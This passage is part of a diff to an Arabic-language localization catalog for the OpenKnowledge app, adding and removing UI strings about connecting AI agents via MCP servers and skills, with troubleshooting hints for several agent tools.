أخيرة: فعّله في Cursor ← الإعدادات ← الأدوات وMCP (يترك Cursor خوادم المشروع معطّلة حتى تشغّلها)."- ],"NOHyEE": ["إعادة محاولة الدفع"],"NORKZU": ["تحذيرات النمط: ", ["summary"]],"NQ8llq": ["إضافة عنصر"],@@ -2158,7 +2200,6 @@"O0Z2Xr": ["صادر"],"O2UpM1": ["استعراض"],"O3oNi5": ["البريد الإلكتروني"],- "O4PnDd": ["إدارة أدوات الذكاء الاصطناعي متاحة فقط في تطبيق OpenKnowledge لسطح المكتب."],"O6H89R": ["محلول"],"O6yEPk": ["أنشئ مشروع OpenKnowledge جديدًا في المجلد الذي تختاره."],"O7_W_a": ["الفتح بالذكاء الاصطناعي"],@@ -2223,7 +2264,6 @@"OlFVNr": ["اسأل الذكاء الاصطناعي عن التحديد"],"Oo_WWc": ["لم يُعثر على صفحات"],"Oos8fo": ["نسخ الأمر"],- "OplnBG": ["إدارة أدوات الذكاء الاصطناعي غير متاحة في هذه النسخة."],"OqqecQ": ["30 ثانية"],"OsSaYm": ["فشل الاستنساخ: ", ["title"]],"OuQezS": ["يسري عند استئناف هذه المحادثة"],@@ -2249,6 +2289,11 @@"P6gXB-": ["استبدال ", ["keyName"]],"P6lAT3": ["الوجهة المجلدية: ", ["linkTitle"], ". انقر لفتح النظرة العامة."],"P8AnMN": ["جارٍ البحث عن Slidev"],+ "P9rQN2": [+ "يتشارك صفّا الطرفية وسطح المكتب لـ ",+ ["label"],+ " إعدادًا واحدًا، لذا فإن ربط أحدهما يربط كليهما."+ ],"PB4upl": ["البحث عن التطابق السابق"],"PBQwGb": ["ابحث في الملفات والأوامر والمشاريع وإجراءات تسليم الذكاء الاصطناعي. يضيف اختصار K رابطًا بدلًا من ذلك عند تحديد نص في المحرر المرئي؛ أما اختصار P فيفتح لوحة الأوامر دائمًا."@@ -2346,6 +2391,7 @@"QDZbvN": ["قبل ", ["diffDays"], " يوم"],"QGWzup": ["يجري تحميل مهارات OpenKnowledge"],"QHCx0c": ["سجل تقارير العلل"],+ "QHcLEN": ["متصل"],"QIrBIx": ["توسيع كل الملفات"],"QIzioS": [["agentName"], " لا يقبل مرفقات الصور."],"QKgePK": ["تمت مواءمة ", ["editor"], " مع المصدر (نُسخت بايتاته احتياطيًا)"],@@ -2429,6 +2475,7 @@"RD6H9q": ["يقوم Open Knowledge بإعادة كتابة ملفات index.md هذه مع تغير المستندات، لذلك يتم استبدال التعديلات اليدوية عليها."],+ "RD8cCw": ["إدارة اتصالات الوكلاء غير متاحة في هذا الإصدار."],"RDjuBN": ["الإعداد"],"RDrXh4": ["اضبط إعدادات المستخدم والمشروع والتكاملات."],"REkvLz": [@@ -2462,6 +2509,7 @@"RSqaSd": ["جذر المشروع"],"RVZJWQ": ["البحث في المشاريع..."],"RXEbZy": ["داخل التطبيق"],+ "RXYvxn": ["لا يمكن تغيير هذا الخيار تلقائيًا."],"RY6Bq1": ["فتح ", ["targetNoun"], " المشترك"],"RZXTlY": ["الإصلاح التلقائي (", ["count"], ")"],"R_U_A4": ["أضف نمط ملف أو مجلد، مثل guides/**/*"],@@ -2506,6 +2554,9 @@"S33tz3": ["غير متصل"],"S3qu11": ["كان تجربة أو مشروعًا لمرة واحدة"],"S48xcO": ["معلّق"],+ "S6SbxA": [+ "يستبدل إدخال \"open-knowledge\" الموجود في هذا الملف. تُترك الخوادم الأخرى في الملف دون تغيير."+ ],"S6eHlw": ["افتح مشروعًا أولًا."],"S6l5dv": ["تعذّر بدء إنشاء عنصر جديد"],"S9Vnum": ["إزالة ", ["patternText"]],@@ -2794,7 +2845,6 @@"VFQXPl": ["تعرض معاينات الروابط الخارجية بطاقة باسم الموقع وعنوان الصفحة ووصفها عند تمرير المؤشر فوق رابط."],- "VIwCaD": ["مدخل"],"VJaBca": ["اختر مجلد مهارة"],"VL6VsE": ["قبول الحالي"],"VM7H66": ["هذا الملف ثنائي ولا يمكن عرضه كنص."],@@ -2907,6 +2957,7 @@"W9NSe0": ["جارٍ التحقق من الروابط"],"W9_Bub": ["تتداخل التغييرات المحلية مع المزامنة الواردة"],"WBNpt9": ["تعذّرت قراءة هذه السمة (", ["0"], ")"],+ "WEYdDv": ["موصى به"],"WFEbV1": ["أشِر إلى مشكلات Markdown الشائعة في المحرر. مدعوم بـ <0>markdownlint<1/></0>."],"WG3MZ4": ["تم تحديد ", ["0"], " مهارات"],"WGMoTY": ["علل أو أعطال أو شعور بعدم الموثوقية"],@@ -2976,19 +3027,19 @@"XBBZnv": ["هدف الرابط \"", ["shown"], "\" لا يشير إلى مستند موجود."],"XBgr2S": ["النسخ إلى هنا"],"XDzAnp": ["يفتح في تبويب جديد"],- "XEfNPL": [- "تم التثبيت — يتوفر ok في الوحدات الطرفية الخارجية. تؤدي إزالة التحديد إلى إزالته؛ وستستمر أدوات الذكاء الاصطناعي لديك في العمل."- ],"XF1kgP": ["كل ما من ", ["source"], " محدّث بالفعل"],- "XFpEgc": [- "اختر الوكلاء الذين يظهرون في قوائم الوكلاء في التطبيق، مثل Ask AI وOpen with AI وزر + لمحادثة جديدة. أوقف وكيلاً لإخفائه منها جميعاً."- ],"XGKy1z": ["تعذّر إظهار الصورة"],"XH30C4": ["مستند"],"XIltnd": ["توجد بالفعل مهارة باسم «", ["trimmed"], "» هنا"],"XJOV1Y": ["النشاط"],"XK5cbh": ["تنقّل في سجل تنقّل OpenKnowledge إلى الأمام."],"XNBGZw": ["لم تُرسل الرسالة: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " يحتاج إلى ",+ ["prerequisite"],+ "، ولا يملك هذا الوكيل ملفًا من هذا النوع على هذا الجهاز بعد. افتح الوكيل مرة واحدة ثم أعد المحاولة."+ ],"XPJ0sN": ["خصائص ", ["settingsDescriptorLabel"]],"XPqe3B": ["إنشاء وسم جديد #", ["tagValue"]],"XRuL0i": ["إنشاء صفحة"],@@ -3060,6 +3111,12 @@"Xp7Kq4": ["توجد عملية مزامنة أخرى قيد التنفيذ. أعد المحاولة بعد قليل."],"Xp94R1": ["محاولة أخيرة"],"XpIZmv": ["كتلة كود محصورة بنص أحادي التباعد."],+ "XrPvMT": [+ ["dependent"],+ " يحتاج إلى ",+ ["prerequisite"],+ "، ولا يستطيع OpenKnowledge استبدال هذا الإدخال بأمان في تنسيق هذا الملف."+ ],"Xs1kjx": ["التحقق من التحديثات كل"],"Xs7IcT": ["تعذّر الوصول إلى ", ["displayName"], ". هل تريد المحاولة مرة أخرى؟"],"XszXjc": ["أُعيدت التسمية إلى ", ["0"]],@@ -3079,6 +3136,7 @@["pickedRelative"],"</1> لأنه يحتوي على مجلد <2>.git</2> (مجلد .ok/ واحد لكل مستودع git). يكون <3>مجلد المحتوى</3> افتراضيًا <4>.</4> (المستودع بأكمله)؛ اكتب مجلدًا فرعيًا لتضييقه."],+ "Y1wa2r": ["هل تريد إزالة OpenKnowledge؟"],"Y2tU6I": ["حذف ", ["0"]],"Y5la_5": ["التثبيت في"],"Y6PKd1": ["إزالة ", ["name"], " من المشاريع الحديثة"],@@ -3198,9 +3256,6 @@"ZWwYwM": ["الفرع الأساسي"],"ZWxfrc": ["مسح خصائص المجلد"],"ZWyHmq": ["هذا المشروع"],- "ZYtq3m": [- "اربط أدوات الذكاء الاصطناعي التي تستخدمها بهذا المشروع تحديدًا. تعيش هذه الملفات في مجلد المشروع، فيحصل كل من يفتحه على الإعداد نفسه."- ],"Z_nNa2": ["سمِّ سمتك"],"ZatAO_": ["فشل تفعيل معاينات الروابط — ", ["detail"]],"Zf0w-R": [@@ -3263,7 +3318,6 @@["label"]," بدلاً من نسخة الإضافة — وتتوقف عن متابعة تحديثات الإضافة."],- "_5qBNl": ["أدوات الذكاء الاصطناعي وواجهة سطر الأوامر"],"_6FVBz": ["الانتقال إلى التبويب 1-8"],"_7UQ7y": ["الكلمة كاملة"],"_8quCH": ["من قالب"],@@ -3276,6 +3330,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["تم إصلاح تكامل MCP الخاص بـ ", ["names"]],"_Bix3-": ["مواضع ظهور ", ["localizedFirstMessage"]],"_DwR-n": ["جارٍ الإنشاء…"],"_G7A92": ["الحفاظ على index.md"],@@ -3287,7 +3342,6 @@"_JOGC0": ["إرسال ملاحظات…"],"_LczaQ": ["مرفوض — ", ["optionName"]],"_NWEid": ["ابحث في ملفات المخططات بالمسار"],- "_NX6gG": ["إدارة أدوات الذكاء الاصطناعي للمشروع غير متاحة في هذه النسخة."],"_O7dJS": ["نسخة مختلفة هنا — انقر للمقارنة والحل"],"_PACVa": ["ملاحظات الإصدار"],"_PBJRl": ["أضف حرفًا أو رقمًا واحدًا على الأقل."],@@ -3315,6 +3369,9 @@"_ci9Bj": ["أعاد الخادم استجابة مجلد غير مكتملة."],"_eguJc": ["يجري الرفع"],"_fQGOp": ["المسافات غير مسموح بها في المسار"],+ "_fZSIY": [+ "لم يغيّر OpenKnowledge هذا الملف لأنه لم يتمكن من تحليله بأمان. أصلح الملف يدويًا ثم أعد المحاولة."+ ],"_gO_m8": ["في انتظار موافقتك"],"_gkGSK": ["حذف قالبًا"],"_pY_Vq": ["نُقل المستودع أو أُعيدت تسميته أو حُذف."],@@ -3322,6 +3379,7 @@"_rP3HI": ["قبل ", ["minutes"], " دقيقة"],"_tekeB": ["حدّث خصائص المجلد"],"_tjopj": ["لصق نسخة"],+ "_uxBz5": ["إضافة MCP ومهارة لـ ", ["rowLabel"]],"_yB-24": ["كل ما تحت أي مجلد ", ["0"], "/"],"a-cKXz": ["تحديد كل المصدر"],"a3LDKx": ["الأمان"],@@ -3446,6 +3504,7 @@"blFttG": ["البحث في المشاريع"],"bmC18N": ["يجري مسح بيانات التعاون المحلية لـ «", ["docName"], "» قبل إعادة الاتصال."],"bnOTEz": ["يجري الاسترجاع…"],+ "bn_MDX": ["لماذا يحتاج هذا إلى انتباه"],"bpMVIA": ["تعذّر تحويل هدف الرابط \"", ["shown"], "\" إلى هدف محلي في المشروع."],"bpytj4": ["النقل إلى ", ["0"]],"brCtGB": ["السجل غير متاح"],@@ -3592,6 +3651,7 @@]],"d6qW27": [["agentName"], " أبلغ: ", ["headline"]],+ "dCforW": ["فشلت كتابة هذا الملف. راجع سجل OpenKnowledge لمعرفة السبب."],"dD7NPy": ["المخطط"],"dDpCOp": ["نجحت إعادة التسمية لكن الشريط الجانبي قد يكون قديمًا — حدّث لإعادة المزامنة"],"dEgA5A": ["إلغاء"],@@ -3603,6 +3663,7 @@["currentBaseLabel"],"</1>، في شجرة عمل خاصة به تحت <2>.ok/worktrees/</2>."],+ "dGcsnU": ["إزالة لكليهما"],"dIYSqk": ["بعيد"],"dJw2_7": ["يُحفظ مع المشروع لفريقك."],"dMsx3p": ["الصفحة الرئيسية ومحور التنقل."],@@ -3617,6 +3678,9 @@"dVaXnv": ["لم تُحمَّل قواعد المحتوى بعد — أعد المحاولة بعد قليل"],"dXCi3J": ["حدث عطل"],"dXOolp": ["تجري مزامنة تغييراتك"],+ "da7Yfw": [+ "يحذف هذا إدخالات خادم MCP وملفات المهارات المدرجة أدناه. سيفقد الوكيل إمكانية الوصول إلى مستنداتك حتى تضيفه مرة أخرى."+ ],"darW93": [["pageCount",@@ -3742,6 +3806,7 @@}]],+ "ejiJeW": ["مهارة اكتشاف OpenKnowledge"],"ekSPiP": ["تم حذف ", ["0"], " بالفعل."],"el2KyL": ["تم العثور على Slidev في هذا المشروع. ستستخدم الشرائح إصدار المشروع."],"emMrXQ": ["أعاد الخادم استجابة نسخ مشوّهة."],@@ -3755,6 +3820,7 @@"euc6Ns": ["تكرار"],"evs0iw": ["وسوم تطابق «", ["tagListQuery"], "»"],"ewSbS_": ["جلسة Shell"],+ "ewlFNL": ["فشل الإصلاح التلقائي لـ MCP لـ ", ["failures"]],"ezUmoU": ["قيم العناصر المسموح بها (فارغ = أي قيمة)"],"f-k37b": ["ثبّت هذه المهارة"],"f1-q9m": ["يحتفظ بالمهارات"],@@ -3818,6 +3884,23 @@"fj5YiP": ["ينزّل نسخة جديدة من GitHub."],"fnlBN4": ["لم تُحمَّل إعدادات الموافقة التلقائية بعد — أعد المحاولة بعد قليل"],"fo6CCk": ["الجزء ", ["0"]],+ "followup.approve-once": [+ "خطوة أخيرة: شغّل ",+ ["agent"],+ " في هذا المشروع ووافق على OpenKnowledge مرة واحدة."+ ],+ "followup.enable-manually": [+ "خطوة أخيرة: فعّله في ",+ ["agent"],+ " ← الإعدادات ← الأدوات وMCP (يترك ",+ ["agent"],+ " خوادم المشروع معطّلة حتى تشغّلها)."+ ],+ "followup.trust-gated": [+ "يتصل تلقائيًا في المرة التالية التي تفتح فيها هذا المشروع في جلسة ",+ ["agent"],+ " موثوقة."+ ],"fqSfXY": ["استبدال"],"ft-BOm": ["الإبلاغ عن علة…"],"fuJZKk": ["البحث في الفروع"],@@ -3825,6 +3908,15 @@"fwhX-N": ["زيادة أو تقليل إزاحة المصدر"],"fwrPh4": ["يرجى إدخال بريد إلكتروني صالح."],"fxbCNQ": ["تمت المزامنة. الرابط محدَّث."],+ "fybwfg": [+ "هذا الإعداد مشترك مع ",+ ["peers"],+ " عبر <0>",+ ["path"],+ "</0>. إزالته من هنا تزيله لـ ",+ ["peers"],+ " أيضًا."+ ],"g-dkjJ": ["تفاصيل الملفات المحلية غير متاحة بعد."],"g12y1g": ["YAML غير صالح"],"g1ZTh_": [@@ -3841,9 +3933,6 @@}]],- "g4WlQK": [- "إدارة أدوات الذكاء الاصطناعي للمشروع متاحة فقط في تطبيق OpenKnowledge لسطح المكتب."- ],"g4XBm0": ["عنوان قسم صغير."],"g4e0hS": ["اسأل ", ["agentName"]],"g58Kwy": [@@ -3899,6 +3988,7 @@"gfb-CM": ["تعذّر جلب الفرع — سجّل الدخول إلى GitHub وأعد المحاولة."],"gfdqcY": ["تعذّر تطبيق التغيير: ", ["0"]],"gfohmY": ["ربط الأدوات"],+ "ggMMa7": ["خادم MCP للمشروع"],"ggm6JX": ["هذه الصفحة غير موجودة بعد. افتحها لإنشائها في المحرر وطي الرسم البياني."],"ggs9f8": ["ابحث في الملفات أو المجلدات أو الأوامر"],"gh27t1": ["معاينات الروابط"],@@ -3928,6 +4018,41 @@"gpbKxw": ["التحقق من الروابط غير متاح."],"gqk-3R": ["تم نقل ", ["0"], " إلى ", ["destination"], "."],"gtEbeW": ["تظليل"],+ "guidance.mcp.managed-file": [+ "يكتب ملف جسر صغيرًا يحمّله ",+ ["agent"],+ " من هذا المشروع للوصول إلى OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "يضيف OpenKnowledge إلى إعدادات MCP التي يقرؤها ",+ ["agent"],+ " في هذا المشروع، ليتمكن من قراءة هذه المستندات والبحث فيها وتحريرها."+ ],+ "guidance.mcp.session-injection": [+ "يحصل ",+ ["agent"],+ " على أدوات OpenKnowledge في كل مرة يشغّله فيها OpenKnowledge؛ ولا يُكتب شيء في إعداداته."+ ],+ "guidance.mcp.user-config": [+ "يضيف OpenKnowledge إلى إعدادات MCP الخاصة بـ ",+ ["agent"],+ " نفسه، ليصبح كل مشروع على هذا الجهاز في المتناول."+ ],+ "guidance.skill.central-store": [+ "يضع مهارة OpenKnowledge في مخزن المهارات المركزي الذي يقرؤه ",+ ["agent"],+ "."+ ],+ "guidance.skill.project": [+ "يضع مهارة OpenKnowledge في مجلد مهارات ",+ ["agent"],+ " لهذا المشروع، لتبقى تعديلاته منسوبة إليه."+ ],+ "guidance.skill.user": [+ "يضع مهارة الاكتشاف من OpenKnowledge في مجلد مهارات ",+ ["agent"],+ " على مستوى الجهاز، ليتمكن من العثور على OpenKnowledge في أي مشروع."+ ],"gv5w9J": ["owner/repo، أو رابط git، أو مسار محلي"],"gvApb7": ["حوّل ما تقرأه إلى مقالات واضحة موثوقة. احفظ مصدرًا، واستخلص معناه، ثم أبقِ النسخة النهائية لتعتمد عليها لاحقًا."@@ -3940,6 +4065,14 @@"h06R3C": ["لا توجد صفحات تفتقر إلى روابط صادرة في الرسم البياني."],"h16FyT": ["القوائم"],"h2N-1n": ["مثبَّت في ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " يحتاج إلى ",+ ["prerequisite"],+ "، ولا يتعرّف OpenKnowledge على ذلك الإدخال. فعّل ",+ ["prerequisite"],+ " لاستبداله، ثم احفظ مرة أخرى."+ ],"h3QZcB": ["يوجد بالفعل فرع باسم ", ["shareBranch"], ". افتح شجرة عمله من المبدِّل بدلًا من ذلك."],"h69WC6": ["أُرسل"],"h7FzJC": ["لم تطابق استجابة رسم الروابط الشكل المتوقع."],@@ -4039,7 +4172,6 @@"iH8pgl": ["رجوع"],"iHAJDj": ["يجري تحديد الموقع الافتراضي"],"iIaSUD": ["المسافات البيضاء"],- "iKS6gg": ["تم نقل المهارات إلى استوديو المهارات."],"iKSP5j": ["التفاف النص"],"iKZkk1": ["قيمة الخاصية"],"iKvAeG": ["يجري التحقق"],@@ -4099,6 +4231,7 @@"ij-Elv": ["معاينة الصورة"],"ijLc3m": ["قائمة نقطية"],"ilodsp": ["دع الوكلاء يستخدمون OpenKnowledge دون سؤال"],+ "inJhKB": ["استبدال وحفظ"],"ioMn4Z": ["جديد من قالب…"],"iodl3p": ["أعاد الخادم استجابة رفع مشوّهة."],"ipCibE": ["أسماء المجلدات الفارغة غير مسموح بها (//)"],@@ -4114,6 +4247,7 @@"irnKr_": ["تم التحديث ", ["updatedRelative"]],"irrm_E": ["إزالة التحديد"],"isRobC": ["جديد"],+ "itchkf": ["يربط الوكيل بـ OpenKnowledge في كل مشروع على هذا الجهاز."],"iuTKci": ["لا توجد تعديلات بعد."],"iv452l": ["توثيق ", ["0"], " (يفتح في المتصفح)"],"iycx_A": ["يجري الدفع"],@@ -4287,6 +4421,7 @@"kfL8BJ": ["فشل الاستيراد: ", ["0"]],"kj9pAE": ["يجري إنشاء الصفحة"],"kjlQ9D": ["يصبح رابطًا رمزيًا"],+ "kjrq_8": ["مزيد من المعلومات"],"kknhfj": ["لا تغييرات"],"kkux8f": ["تعذّر حذف ", ["0"], ". حاول مرة أخرى."],"klPS-L": ["الملف الأصلي — قبل تعديلات هذا الوكيل."],@@ -4343,6 +4478,7 @@"l87Deg": ["اختر ما تبدأ به علامة تبويب جديدة"],"l9s3IX": ["تعذّر على ", ["agentName"], " بدء محادثة."],"lAiyU_": ["المستند الحالي وحده يستخدم <0>#", ["tag"], "</0>."],+ "lBN3T6": ["اتصالات الوكلاء"],"lCC_D5": ["يجري الاشتراك..."],"lGs_bQ": ["الصفحة <0>*</0>"],"lHCR4I": ["امسح الحقل للعودة إلى نقطة نهاية OpenAI الافتراضية."],@@ -4440,9 +4576,6 @@"mHVPm5": ["إعادة الاتصال مطلوبة"],"mHf8mp": ["حذف ملف المخطط ", ["file"]],"mHo0kp": ["انتهت مهلة طلب تفعيل أدوات Open Knowledge. تعمل هذه السلسلة بدونها."],- "mLAjyL": [- "امنح أدوات الذكاء الاصطناعي التي تستخدمها إذن قراءة مشاريعك وتحديثها. تحديد مربع يُعدّه فورًا؛ وإلغاء التحديد يزيله."- ],"mPoOmg": ["ثبّت مهارة هنا أولاً"],"mPy9lS": ["نظّم مواصفاتي الحالية في فهرس مترابط مجمَّع حسب المجال، وأشِر إلى أي منها انحرف عن الكود الحالي."@@ -4460,6 +4593,7 @@"maDWIB": ["مصدر المرآة <0>api-spec</0>"],"makN88": ["لا توجد أنماط بعد. اكتب اسم مجلد أو ملف أدناه لبدء إخفاء الملفات."],"mdKFEy": ["ألغيت تحميل «", ["docName"], "»."],+ "mdWhUY": ["لم يتمكن OpenKnowledge من العثور على هذا الوكيل على هذا الجهاز."],"mdzKSV": [["nodeCount",@@ -4545,6 +4679,7 @@"mwMF9u": ["افتح بحث CodeMirror في وضع محرر المصدر."],"mxGJVE": ["تبديل شجرة العمل…"],"mxY24F": ["كرّر عنصر شجرة الملفات المركَّز عليه عندما يكون التركيز في شريط الملفات الجانبي."],+ "n11Jj7": ["يثبّت مهارة مشروع OpenKnowledge لهذا الوكيل."],"n2XqGH": ["جزء المحرر"],"n2lRue": ["أودع التغييرات أو خزّنها مؤقتًا للتبديل:"],"n3T3EE": ["مثبَّت في ", ["label"], " — انقر للإزالة"],@@ -4560,7 +4695,6 @@],"n7aopT": ["وضع المحرر"],"n81AV0": [["owner"], "/", ["name"], " موجود بالفعل. اختر اسمًا آخر."],- "n8DwqQ": ["يتصل تلقائيًا في المرة التالية التي تفتح فيها هذا المشروع في جلسة Codex موثوقة."],"nBHvPL": ["إلغاء التحرير"],"nBgzKO": ["اجعل هذا هو المصدر — ينتقل مجلد المهارة الحقيقي إلى هنا"],"nCzR-G": ["نسخ الرمز ", ["userCode"]],@@ -4626,6 +4760,7 @@"nsM-_m": ["تصفّح مئات السمات"],"nsUDL8": ["تم تحديد ", ["0"], " من ", ["1"], " مشروع"],"nskygk": ["اختر وكيلًا"],+ "nta97o": ["يمنح الوكيل إرشادات للعمل مع مستنداتك ويحافظ على نسبة تعديلاته إليه."],"nwtY4N": ["حدث خطأ ما"],"nxlOpL": ["يستخدم OpenKnowledge حساب GitHub هذا."],"ny6vNn": [@@ -4689,6 +4824,7 @@"». أعد التحميل للمحاولة مرة أخرى."],"oxdGJn": ["قبل أن تغادر، هل تخبرنا بالسبب؟"],+ "oxj8er": ["يربط الوكيل بهذا المشروع ليتمكن من قراءة مستنداتك والبحث فيها وتحريرها."],"oy5bJW": ["يمكنك إضافة"],"oyBV3W": ["مسار مجلد المهارات المخصص"],"p0Iq25": ["إدراج رابط"],@@ -4788,7 +4924,6 @@["2"],"». وسيتوقف كل ما يشير إليه في SKILL.md عن العمل إلى أن يُعاد إنشاؤه."],- "psfGPX": ["اتصالات MCP"],"psl2Sj": ["لا يزال تغييرك قيد الحفظ — أعد تشغيل الاختبار بعد قليل."],"ptQ3_N": ["فك الارتباط"],"pvnfJD": ["داكن"],@@ -4802,6 +4937,7 @@"q4YJl_": ["انتهت جلسة الطرفية (رمز الخروج ", ["0"], ")."],"q4efaG": [["filePath"], " لم يعد ضمن هذه المهارة"],"q6-JVU": ["يجري تحميل الصفحات"],+ "q63KUv": ["إضافة MCP ومهارة"],"q7F5am": ["العنوان"],"q8aCbb": ["نسختان من «", ["0"], "» — المصدر مقابل ", ["editor"]],"qAQVSD": ["لم تكن استجابة عناوين الصفحة بصيغة JSON"],@@ -4892,10 +5028,12 @@"qlAIQ1": ["بعيد"],"qo4zCg": ["لا يمكن أن يحتوي المسار على شرطات مائلة عكسية"],"qpQwGC": ["صِف ما تعمل عليه ويتولى الوكيل إعداده لك."],+ "qr2gAH": ["اختر ما يعدّه OpenKnowledge لـ ", ["0"], "."],"qribBG": ["المخطط ", ["deleteTarget"]],"qtnmEX": ["أدخل اسم سمة صالحًا."],"qvWGzP": ["طيّ الكل"],"qyLmWw": ["لوحة بحث محرر المصدر"],+ "qze9od": ["هذا المجلد يخص ", ["alsoAffects"], " أيضًا."],"r-OJYm": ["أدخل اسم فرع صالحًا (بلا مسافات، وبلا نقطة في البداية، وبلا «..»)."],"r2eKE3": ["سجّل الدخول إلى ", ["agentName"], " أولًا"],"r4R7AZ": ["خطأ في الشبكة أثناء التنظيف"],@@ -4992,6 +5130,7 @@"s1c0ja": ["قائمة نقطية"],"s3caR3": ["يجري الحذف"],"s7us1p": ["يُسمح بصور PNG أو JPEG أو WebP فقط."],+ "s8difl": ["بدون المهارة يظل الوكيل يعمل، لكنه يفقد نسبة التعديلات إليه والمعاينة الحية."],"sAP9XO": ["مكوّن ", ["0"], " الإضافي · ", ["1"]],"sE7R19": ["تعذّر تحميل القوالب: ", ["templatesError"], ". لا يزال بإمكانك إنشاء ملاحظة فارغة."],"sER-bs": ["الملفات"],@@ -5090,6 +5229,9 @@"tA0b9E": ["مجلد المهارات الافتراضي (يظهر المسار الدقيق بعد الحفظ)"],"tA2-xC": ["«", ["0"], "» مضاف بالفعل (محتوى مطابق)."],"tAPZEx": ["أسفل"],+ "tCE-ZH": [+ "لا يتعرّف OpenKnowledge على هذا الإدخال، ولا يمكنه استبداله بأمان في تنسيق هذا الملف."+ ],"tCyvAw": ["إرفاق ملف"],"tHKQ6j": ["تجري إعادة التسمية"],"tKlWWY": ["رموز تعبيرية"],@@ -5126,6 +5268,56 @@"tnG-m6": ["المزامنة التلقائية موقوفة مؤقتًا — سجّل الدخول للمتابعة."],"toyw51": ["عناصر تحكم مخطط Mermaid"],"tqQBwN": ["تُعرض أي نصوص برمجية للمراجعة، ولا تُنفَّذ أبدًا."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ "يطلب منك ",+ ["agent"],+ " الموافقة على كل أداة من أدوات OpenKnowledge عند استخدامها لأول مرة."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "إذا لم يعرض ",+ ["agent"],+ " أدوات OpenKnowledge، فشغّله في هذا المشروع ووافق على خادم OpenKnowledge مرة واحدة."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "يتجاهل تطبيق ",+ ["agent"],+ " لسطح المكتب إعدادات هذا المشروع؛ ولا يقرؤها سوى ",+ ["agent"],+ " في سطر الأوامر."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ "يقرأ ",+ ["agent"],+ " إعدادات MCP لمساحة العمل التي يكتبها OpenKnowledge لصالح ",+ ["sourceAgent"],+ "؛ وإزالتها لأحدهما تزيلها لكليهما."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "إذا لم يعرض ",+ ["agent"],+ " أدوات OpenKnowledge، ففعّل الخادم من Settings → Tools & MCP؛ إذ يترك ",+ ["agent"],+ " خوادم المشروع معطّلة حتى تفعّلها."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "إذا لم يعرض ",+ ["agent"],+ " أدوات OpenKnowledge، فتحقق من أن مسار إعدادات MCP في إعداداته يطابق الملف الذي كتبه OpenKnowledge."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ "مخزن المهارات المركزي لـ ",+ ["agent"],+ " غير موجود بعد؛ شغّل ",+ ["agent"],+ " مرة واحدة لينشئه، ثم أعد المحاولة."+ ],+ "troubleshooting.pi.folder-trust": [+ "لا يحمّل ",+ ["agent"],+ " امتدادات المشروع إلا في المجلدات التي وثقت بها؛ إذا لم تظهر الأدوات، فثق بهذا المجلد في ",+ ["agent"],+ "."+ ],"tsiTqO": ["الصق مفتاح API الخاص بك"],"tvMvze": ["تعذّر نقل \\\"",@@ -5193,6 +5385,7 @@"uUCrBv": ["رابط رمزي"],"uV3EYs": ["صورك"],"uVbUP8": ["الإعدادات…"],+ "uVhq9B": ["يثبّت مهارة اكتشاف OpenKnowledge لهذا الوكيل."],"uX85yl": ["تشمل ملفات الإعداد: <0>.ok/</0>، وإعدادات MCP لأدوات الذكاء الاصطناعي (<1>.mcp.json</1> وملفات كل أداة). مهاراتك غير مشمولة: فهي تتبع git مثل أي ملف آخر في المشروع.<2/><3>مشترك</3> يودعها في git، فيحصل كل من يستنسخ المستودع على الإعداد نفسه. <4/><5>أنا فقط</5> يبقيها خارج git (عبر <6>.git/info/exclude</6>)."],@@ -5362,6 +5555,20 @@"vy_VIN": ["متتبَّع في git — تتدفق التحديثات عبر مستودعك (بالسحب أو التكامل المستمر)، لا بالتحديث التلقائي"],+ "vyjTYE": [+ [+ "changeCount",+ "plural",+ {+ "zero": ["لا تغييرات"],+ "one": ["تغيير واحد"],+ "two": ["تغييران"],+ "few": ["#", " تغييرات"],+ "many": ["#", " تغييرًا"],+ "other": ["#", " تغيير"]+ }+ ]+ ],"w0YVAE": ["إظهار عقد المهارات"],"w3tVpc": ["لا توجد روابط بعد. أضف روابط ويكي أو روابط Markdown لبناء رسم بياني."],"w3vFfL": ["إخفاء الملفات"],@@ -5395,6 +5602,7 @@"wQp1V3": ["مرآة لـ <0>", ["src"], "</0>"],"wQvvZY": ["ملف مهارة جديد"],"wRni1Z": ["تعطيل Slidev"],+ "wSBXaS": ["إدارة ", ["rowLabel"]],"wT4iQr": ["افتح بحث المحرر المرئي مع توسيع عناصر الاستبدال."],"wTcjov": ["لا مساحة عمل"],"wU8WyK": ["حقول العنصر"],@@ -5416,7 +5624,9 @@"wdxz7K": ["المصدر"],"wdzBgi": ["أصبحت مشاركة الإعدادات مقصورة عليك وحدك."],"weP6me": ["تعذّر تحميل المستندات — اكتب @ مرة أخرى لإعادة المحاولة"],+ "wfZwqe": ["تثبيت ", ["rowLabel"]],"wgNoIs": ["تحديد الكل"],+ "wgj--j": ["يضيف إدخال MCP عامًا لـ OpenKnowledge لهذا الوكيل."],"wk_v1X": ["المزامنة لشجرة العمل هذه مضبوطة على «تلقائي (سحب ودفع)»، موروثة من ",["project"],@@ -5581,7 +5791,6 @@"yZmvQ4": ["خادم هذا المشروع (v", ["0"], ") أحدث من هذا التطبيق (v", ["1"], ")."],"y_5CE8": ["العنصر ", ["0"]],"y_K0Dz": ["ماذا حدث؟"],- "yaPGPa": ["افتح مشروعًا لإدارة اتصالات أدوات الذكاء الاصطناعي الخاصة به."],"ybPMz3": ["تعذر تثبيت ", ["name"]],"ycIX5i": ["أنت خارج تسجيل الدخول — سجّل الدخول لاستئناف المزامنة."],"yckias": ["إعادة تسمية الملف"],@@ -5604,9 +5813,6 @@["source"],"</0> — والوكلاء العاملون هنا لا يمكنهم تحميله. انسخه إلى هنا لتحريره."],- "yhdqox": [- "مثبَّت — الأمر ok متاح في الطرفيات الخارجية. إلغاء التحديد يزيله؛ وتظل طرفية OpenKnowledge المدمجة وأدوات الذكاء الاصطناعي تعمل."- ],"yhy5h-": ["عرض جميع المهارات (", ["count"], ")"],"yit5dF": ["لا توجد مجلدات في هذا المشروع بعد."],"yjExfe": ["الفرع <0>", ["shareBranch"], "</0> مسحوب في:"],@@ 